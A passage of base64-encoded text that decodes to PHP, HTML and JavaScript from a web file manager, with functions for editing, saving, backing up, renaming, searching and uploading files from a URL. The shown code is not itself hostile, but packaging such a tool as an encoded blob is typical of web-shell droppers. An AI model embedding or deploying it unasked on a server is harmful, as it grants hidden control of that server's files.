Gl2IGNsYXNzPVwibW9kYWwtZGlhbG9nXCIgcm9sZT1cImRvY3VtZW50XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cIm1vZGFsLWNvbnRlbnQgcm91bmRlZC0zIHNoYWRvd1wiIG1ldGhvZD1cInBvc3RcIiBhdXRvY29tcGxldGU9XCJvZmZcIiBhY3Rpb249XCI8JXRoaXMuYWN0aW9uJT5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keSBwLTQgdGV4dC1jZW50ZXJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPVwibWItMlwiPjw/cGhwIGVjaG8gbG5nKCdBcmUgeW91IHN1cmUgd2FudCB0bycpID8+IDwldGhpcy50aXRsZSU+ID88XC9oNT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJtYi0xXCI+PCV0aGlzLmNvbnRlbnQlPjxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtb2RhbC1mb290ZXIgZmxleC1ub3dyYXAgcC0wXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTAgYm9yZGVyLWVuZFwiIGRhdGEtYnMtZGlzbWlzcz1cIm1vZGFsXCI+PD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0b2tlblwiIHZhbHVlPVwiPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTBcIiBkYXRhLWJzLWRpc21pc3M9XCJtb2RhbFwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ09rYXknKSA/PjxcL3N0cm9uZz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHBcbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogU2hvdyBwYWdlIGZvb3RlciBhZnRlciBsb2dpblxuICAgICAqXC9cbiAgICBmdW5jdGlvbiBmbV9zaG93X2Zvb3RlcigpXG4gICAge1xuICAgICAgICA/PlxuICAgICAgICA8XC9kaXY+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1qcXVlcnknKTsgPz5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2pzLWJvb3RzdHJhcCcpOyA/PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtanF1ZXJ5LWRhdGF0YWJsZXMnKTsgPz5cbiAgICAgICAgPD9waHAgaWYgKEZNX1VTRV9ISUdITElHSFRKUyAmJiBpc3NldCgkX0dFVFsndmlldyddKSk6ID8+XG4gICAgICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtaGlnaGxpZ2h0anMnKTsgPz5cbiAgICAgICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICAgICAgaGxqcy5oaWdobGlnaHRBbGwoKTtcbiAgICAgICAgICAgICAgICB2YXIgaXNIaWdobGlnaHRpbmdFbmFibGVkID0gdHJ1ZTtcbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICBmdW5jdGlvbiB0ZW1wbGF0ZShodG1sLCBvcHRpb25zKSB7XG4gICAgICAgICAgICAgICAgdmFyIHJlID0gXC88XFwlKFteXFwlPl0rKT9cXCU+XC9nLFxuICAgICAgICAgICAgICAgICAgICByZUV4cCA9IFwvKF4oICk/KGlmfGZvcnxlbHNlfHN3aXRjaHxjYXNlfGJyZWFrfHt8fSkpKC4qKT9cL2csXG4gICAgICAgICAgICAgICAgICAgIGNvZGUgPSAndmFyIHI9W107XFxuJyxcbiAgICAgICAgICAgICAgICAgICAgY3Vyc29yID0gMCxcbiAgICAgICAgICAgICAgICAgICAgbWF0Y2g7XG4gICAgICAgICAgICAgICAgdmFyIGFkZCA9IGZ1bmN0aW9uKGxpbmUsIGpzKSB7XG4gICAgICAgICAgICAgICAgICAgIGpzID8gKGNvZGUgKz0gbGluZS5tYXRjaChyZUV4cCkgPyBsaW5lICsgJ1xcbicgOiAnci5wdXNoKCcgKyBsaW5lICsgJyk7XFxuJykgOiAoY29kZSArPSBsaW5lICE9ICcnID8gJ3IucHVzaChcIicgKyBsaW5lLnJlcGxhY2UoXC9cIlwvZywgJ1xcXFxcIicpICsgJ1wiKTtcXG4nIDogJycpO1xuICAgICAgICAgICAgICAgICAgICByZXR1cm4gYWRkXG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIHdoaWxlIChtYXRjaCA9IHJlLmV4ZWMoaHRtbCkpIHtcbiAgICAgICAgICAgICAgICAgICAgYWRkKGh0bWwuc2xpY2UoY3Vyc29yLCBtYXRjaC5pbmRleCkpKG1hdGNoWzFdLCAhMCk7XG4gICAgICAgICAgICAgICAgICAgIGN1cnNvciA9IG1hdGNoLmluZGV4ICsgbWF0Y2hbMF0ubGVuZ3RoXG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIGFkZChodG1sLnN1YnN0cihjdXJzb3IsIGh0bWwubGVuZ3RoIC0gY3Vyc29yKSk7XG4gICAgICAgICAgICAgICAgY29kZSArPSAncmV0dXJuIHIuam9pbihcIlwiKTsnO1xuICAgICAgICAgICAgICAgIHJldHVybiBuZXcgRnVuY3Rpb24oY29kZS5yZXBsYWNlKFwvW1xcclxcdFxcbl1cL2csICcnKSkuYXBwbHkob3B0aW9ucylcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gcmVuYW1lKGUsIHQpIHtcbiAgICAgICAgICAgICAgICBpZiAodCkge1xuICAgICAgICAgICAgICAgICAgICAkKFwiI2pzLXJlbmFtZS1mcm9tXCIpLnZhbCh0KTtcbiAgICAgICAgICAgICAgICAgICAgJChcIiNqcy1yZW5hbWUtdG9cIikudmFsKHQpO1xuICAgICAgICAgICAgICAgICAgICAkKFwiI3JlbmFtZURhaWxvZ1wiKS5tb2RhbCgnc2hvdycpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gY2hhbmdlX2NoZWNrYm94ZXMoZSwgdCkge1xuICAgICAgICAgICAgICAgIGZvciAodmFyIG4gPSBlLmxlbmd0aCAtIDE7IG4gPj0gMDsgbi0tKSBlW25dLmNoZWNrZWQgPSBcImJvb2xlYW5cIiA9PSB0eXBlb2YgdCA/IHQgOiAhZVtuXS5jaGVja2VkXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIGdldF9jaGVja2JveGVzKCkge1xuICAgICAgICAgICAgICAgIGZvciAodmFyIGUgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZShcImZpbGVbXVwiKSwgdCA9IFtdLCBuID0gZS5sZW5ndGggLSAxOyBuID49IDA7IG4tLSkoZVtuXS50eXBlID0gXCJjaGVja2JveFwiKSAmJiB0LnB1c2goZVtuXSk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIHRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2VsZWN0X2FsbCgpIHtcbiAgICAgICAgICAgICAgICBjaGFuZ2VfY2hlY2tib3hlcyhnZXRfY2hlY2tib3hlcygpLCAhMClcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gdW5zZWxlY3RfYWxsKCkge1xuICAgICAgICAgICAgICAgIGNoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCksICExKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiBpbnZlcnRfYWxsKCkge1xuICAgICAgICAgICAgICAgIGNoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCkpXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIGNoZWNrYm94X3RvZ2dsZSgpIHtcbiAgICAgICAgICAgICAgICB2YXIgZSA9IGdldF9jaGVja2JveGVzKCk7XG4gICAgICAgICAgICAgICAgZS5wdXNoKHRoaXMpLCBjaGFuZ2VfY2hlY2tib3hlcyhlKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiBiYWNrdXAoZSwgdCkge1xuICAgICAgICAgICAgICAgIHZhciBuID0gbmV3IFhNTEh0dHBSZXF1ZXN0LFxuICAgICAgICAgICAgICAgICAgICBhID0gXCJwYXRoPVwiICsgZSArIFwiJmZpbGU9XCIgKyB0ICsgXCImdG9rZW49XCIgKyB3aW5kb3cuY3NyZiArIFwiJnR5cGU9YmFja3VwJmFqYXg9dHJ1ZVwiO1xuICAgICAgICAgICAgICAgIHJldHVybiBuLm9wZW4oXCJQT1NUXCIsIFwiXCIsICEwKSwgbi5zZXRSZXF1ZXN0SGVhZGVyKFwiQ29udGVudC10eXBlXCIsIFwiYXBwbGljYXRpb25cL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFwiKSwgbi5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgNCA9PSBuLnJlYWR5U3RhdGUgJiYgMjAwID09IG4uc3RhdHVzICYmIHRvYXN0KG4ucmVzcG9uc2VUZXh0KVxuICAgICAgICAgICAgICAgIH0sIG4uc2VuZChhKSwgITFcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gdG9hc3QodHh0KSB7XG4gICAgICAgICAgICAgICAgdmFyIHggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcInNuYWNrYmFyXCIpO1xuICAgICAgICAgICAgICAgIHguaW5uZXJIVE1MID0gdHh0O1xuICAgICAgICAgICAgICAgIHguY2xhc3NOYW1lID0gXCJzaG93XCI7XG4gICAgICAgICAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgeC5jbGFzc05hbWUgPSB4LmNsYXNzTmFtZS5yZXBsYWNlKFwic2hvd1wiLCBcIlwiKTtcbiAgICAgICAgICAgICAgICB9LCAzMDAwKTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gZWRpdF9zYXZlKGUsIHQpIHtcbiAgICAgICAgICAgICAgICB2YXIgbiA9IFwiYWNlXCIgPT0gdCA/IGVkaXRvci5nZXRTZXNzaW9uKCkuZ2V0VmFsdWUoKSA6IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwibm9ybWFsLWVkaXRvclwiKS52YWx1ZTtcbiAgICAgICAgICAgICAgICBpZiAodHlwZW9mIG4gIT09ICd1bmRlZmluZWQnICYmIG4gIT09IG51bGwpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKHRydWUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBkYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFqYXg6IHRydWUsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudDogbixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAnc2F2ZScsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgdG9rZW46IHdpbmRvdy5jc3JmXG4gICAgICAgICAgICAgICAgICAgICAgICB9O1xuXG4gICAgICAgICAgICAgICAgICAgICAgICAkLmFqYXgoe1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHR5cGU6IFwiUE9TVFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVybDogd2luZG93LmxvY2F0aW9uLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGE6IEpTT04uc3RyaW5naWZ5KGRhdGEpLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRlbnRUeXBlOiBcImFwcGxpY2F0aW9uXC9qc29uOyBjaGFyc2V0PXV0Zi04XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24obWVzKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KFwiU2F2ZWQgU3VjY2Vzc2Z1bGx5XCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cub25iZWZvcmV1bmxvYWQgPSBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVyblxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmYWlsdXJlOiBmdW5jdGlvbihtZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdG9hc3QoXCJFcnJvcjogdHJ5IGFnYWluXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZXJyb3I6IGZ1bmN0aW9uKG1lcykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0b2FzdChgPHAgc3R5bGU9XCJiYWNrZ3JvdW5kLWNvbG9yOnJlZFwiPiR7bWVzLnJlc3BvbnNlVGV4dH08XC9wPmApO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KFwiZm9ybVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGEuc2V0QXR0cmlidXRlKFwibWV0aG9kXCIsIFwiUE9TVFwiKSwgYS5zZXRBdHRyaWJ1dGUoXCJhY3Rpb25cIiwgXCJcIik7XG4gICAgICAgICAgICAgICAgICAgICAgICB2YXIgbyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCJ0ZXh0YXJlYVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIG8uc2V0QXR0cmlidXRlKFwidHlwZVwiLCBcInRleHRhcmVhXCIpLCBvLnNldEF0dHJpYnV0ZShcIm5hbWVcIiwgXCJzYXZlZGF0YVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGxldCBjeCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCJpbnB1dFwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGN4LnNldEF0dHJpYnV0ZShcInR5cGVcIiwgXCJoaWRkZW5cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBjeC5zZXRBdHRyaWJ1dGUoXCJuYW1lXCIsIFwidG9rZW5cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBjeC5zZXRBdHRyaWJ1dGUoXCJ2YWx1ZVwiLCB3aW5kb3cuY3NyZik7XG4gICAgICAgICAgICAgICAgICAgICAgICB2YXIgYyA9IGRvY3VtZW50LmNyZWF0ZVRleHROb2RlKG4pO1xuICAgICAgICAgICAgICAgICAgICAgICAgby5hcHBlbmRDaGlsZChjKSwgYS5hcHBlbmRDaGlsZChvKSwgYS5hcHBlbmRDaGlsZChjeCksIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSksIGEuc3VibWl0KClcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2hvd19uZXdfcHdkKCkge1xuICAgICAgICAgICAgICAgICQoXCIuanMtbmV3LXB3ZFwiKS50b2dnbGVDbGFzcygnaGlkZGVuJyk7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIHNhdmVfc2V0dGluZ3MoJHRoaXMpIHtcbiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9ICQoJHRoaXMpO1xuICAgICAgICAgICAgICAgICQuYWpheCh7XG4gICAgICAgICAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksXG4gICAgICAgICAgICAgICAgICAgIHVybDogZm9ybS5hdHRyKCdhY3Rpb24nKSxcbiAgICAgICAgICAgICAgICAgICAgZGF0YTogZm9ybS5zZXJpYWxpemUoKSArIFwiJnRva2VuPVwiICsgd2luZG93LmNzcmYgKyBcIiZhamF4PVwiICsgdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24oZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGRhdGEpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cubG9jYXRpb24ucmVsb2FkKCk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIG5ld19wYXNzd29yZF9oYXNoKCR0aGlzKSB7XG4gICAgICAgICAgICAgICAgbGV0IGZvcm0gPSAkKCR0aGlzKSxcbiAgICAgICAgICAgICAgICAgICAgJHB3ZCA9ICQoXCIjanMtcHdkLXJlc3VsdFwiKTtcbiAgICAgICAgICAgICAgICAkcHdkLnZhbCgnJyk7XG4gICAgICAgICAgICAgICAgJC5hamF4KHtcbiAgICAgICAgICAgICAgICAgICAgdHlwZTogZm9ybS5hdHRyKCdtZXRob2QnKSxcbiAgICAgICAgICAgICAgICAgICAgdXJsOiBmb3JtLmF0dHIoJ2FjdGlvbicpLFxuICAgICAgICAgICAgICAgICAgICBkYXRhOiBmb3JtLnNlcmlhbGl6ZSgpICsgXCImdG9rZW49XCIgKyB3aW5kb3cuY3NyZiArIFwiJmFqYXg9XCIgKyB0cnVlLFxuICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwd2QudmFsKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiB1cGxvYWRfZnJvbV91cmwoJHRoaXMpIHtcbiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9ICQoJHRoaXMpLFxuICAgICAgICAgICAgICAgICAgICByZXN1bHRXcmFwcGVyID0gJChcImRpdiNqcy11cmwtdXBsb2FkX19saXN0XCIpO1xuICAgICAgICAgICAgICAgICQuYWpheCh7XG4gICAgICAgICAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksXG4gICAgICAgICAgICAgICAgICAgIHVybDogZm9ybS5hdHRyKCdhY3Rpb24nKSxcbiAgICAgICAgICAgICAgICAgICAgZGF0YTogZm9ybS5zZXJpYWxpemUoKSArIFwiJnRva2VuPVwiICsgd2luZG93LmNzcmYgKyBcIiZhamF4PVwiICsgdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgYmVmb3JlU2VuZDogZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikuYXR0cihcImRpc2FibGVkXCIsIFwiZGlzYWJsZWRcIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJidXR0b25cIikuaGlkZSgpO1xuICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiLmxkcy1mYWNlYm9va1wiKS5hZGRDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChkYXRhLmRvbmUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0V3JhcHBlci5hcHBlbmQoJzxkaXYgY2xhc3M9XCJhbGVydCBhbGVydC1zdWNjZXNzIHJvd1wiPlVwbG9hZGVkIFN1Y2Nlc3NmdWw6ICcgKyBkYXRhLmRvbmUubmFtZSArICc8XC9kaXY+Jyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcImlucHV0W25hbWU9dXBsb2FkdXJsXVwiKS52YWwoJycpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSBpZiAoZGF0YVsnZmFpbCddKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc3VsdFdyYXBwZXIuYXBwZW5kKCc8ZGl2IGNsYXNzPVwiYWxlcnQgYWxlcnQtZGFuZ2VyIHJvd1wiPkVycm9yOiAnICsgZGF0YS5mYWlsLm1lc3NhZ2UgKyAnPFwvZGl2PicpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikucmVtb3ZlQXR0cihcImRpc2FibGVkXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcImJ1dHRvblwiKS5zaG93KCk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiLmxkcy1mYWNlYm9va1wiKS5yZW1vdmVDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgICBlcnJvcjogZnVuY3Rpb24oeGhyKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikucmVtb3ZlQXR0cihcImRpc2FibGVkXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiYnV0dG9uXCIpLnNob3coKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcIi5sZHMtZmFjZWJvb2tcIikucmVtb3ZlQ2xhc3MoJ3Nob3ctbWUnKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnNvbGUuZXJyb3IoeGhyKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2VhcmNoX3RlbXBsYXRlKGRhdGEpIHtcbiAgICAgICAgICAgICAgICB2YXIgcmVzcG9uc2UgPSBcIlwiO1xuICAgICAgICAgICAgICAgICQuZWFjaChkYXRhLCBmdW5jdGlvbihrZXksIHZhbCkge1xuICAgICAgICAgICAgICAgICAgICByZXNwb25zZSArPSBgPGxpPjxhIGhyZWY9XCI/cD0ke3ZhbC5wYXRofSZ2aWV3PSR7dmFsLm5hbWV9XCI+JHt2YWwucGF0aH1cLyR7dmFsLm5hbWV9PFwvYT48XC9saT5gO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIHJldHVybiByZXNwb25zZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gZm1fc2VhcmNoKCkge1xuICAgICAgICAgICAgICAgIHZhciBzZWFyY2hUeHQgPSAkKFwiaW5wdXQjYWR2YW5jZWQtc2VhcmNoXCIpLnZhbCgpLFxuICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyID0gJChcInVsI3NlYXJjaC13cmFwcGVyXCIpLFxuICAgICAgICAgICAgICAgICAgICBwYXRoID0gJChcIiNqcy1zZWFyY2gtbW9kYWxcIikuYXR0cihcImhyZWZcIiksXG4gICAgICAgICAgICAgICAgICAgIF9odG1sID0gXCJcIixcbiAgICAgICAgICAgICAgICAgICAgJGxvYWRlciA9ICQoXCJkaXYubGRzLWZhY2Vib29rXCIpO1xuICAgICAgICAgICAgICAgIGlmICghIXNlYXJjaFR4dCAmJiBzZWFyY2hUeHQubGVuZ3RoID4gMiAmJiBwYXRoKSB7XG4gICAgICAgICAgICAgICAgICAgIHZhciBkYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgYWpheDogdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRlbnQ6IHNlYXJjaFR4dCxcbiAgICAgICAgICAgICAgICAgICAgICAgIHBhdGg6IHBhdGgsXG4gICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAnc2VhcmNoJyxcbiAgICAgICAgICAgICAgICAgICAgICAgIHRva2VuOiB3aW5kb3cuY3NyZlxuICAgICAgICAgICAgICAgICAgICB9O1xuICAgICAgICAgICAgICAgICAgICAkLmFqYXgoe1xuICAgICAgICAgICAgICAgICAgICAgICAgdHlwZTogXCJQT1NUXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICB1cmw6IHdpbmRvdy5sb2NhdGlvbixcbiAgICAgICAgICAgICAgICAgICAgICAgIGRhdGE6IGRhdGEsXG4gICAgICAgICAgICAgICAgICAgICAgICBiZWZvcmVTZW5kOiBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoJycpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsb2FkZXIuYWRkQ2xhc3MoJ3Nob3ctbWUnKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxvYWRlci5yZW1vdmVDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChkYXRhICYmIGRhdGEubGVuZ3RoKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9odG1sID0gc2VhcmNoX3RlbXBsYXRlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoX2h0bWwpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNlYXJjaFdyYXBwZXIuaHRtbCgnPHAgY2xhc3M9XCJtLTJcIj5ObyByZXN1bHQgZm91bmQhPHA+Jyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yOiBmdW5jdGlvbih4aHIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKCc8cCBjbGFzcz1cIm0tMlwiPkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhPFwvcD4nKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICBmYWlsdXJlOiBmdW5jdGlvbihtZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKCc8cCBjbGFzcz1cIm0tMlwiPkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhPFwvcD4nKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSk